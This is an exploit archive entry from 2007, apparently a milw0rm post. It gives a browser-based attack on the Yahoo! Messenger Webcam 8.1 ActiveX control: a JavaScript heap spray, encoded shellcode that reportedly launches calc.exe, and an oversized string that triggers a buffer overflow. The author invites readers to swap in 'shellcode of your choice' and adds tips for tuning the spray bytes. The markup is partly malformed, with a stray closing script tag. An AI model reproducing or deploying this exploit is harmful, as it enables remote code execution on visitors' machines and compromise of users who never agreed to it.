Yahoo! Messenger Webcam 8.1 ActiveX Remote Buffer Overflow

kw3rln · June 7, 2007

<html>

<!--

45 minutes of fuzzing!

Great results! very relible, runs calc.exe, replace with shellcode of your choice!!!

maybe more vulz!

Greetz to: str0ke and shinnai!

-->

<html>

shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +

"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +

"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +

"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +

"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +

"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +

"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +

"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +

"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +

"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +

"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +

"%uCC4A%uD0FF");

bigblock = unescape("%u9090%u9090");

headersize = 20;

slackspace = headersize+shellcode.length

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<800; x++) memory[x] = block + shellcode;

var buffer = '\x0a';

while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a';

target.server = buffer;

target.initialize();

target.send();

</script>

</html>

sometimes 0a0a0a0a0a is not as good as 0d0d0d0d or 11111111

# milw0rm.com [2007-06-07]

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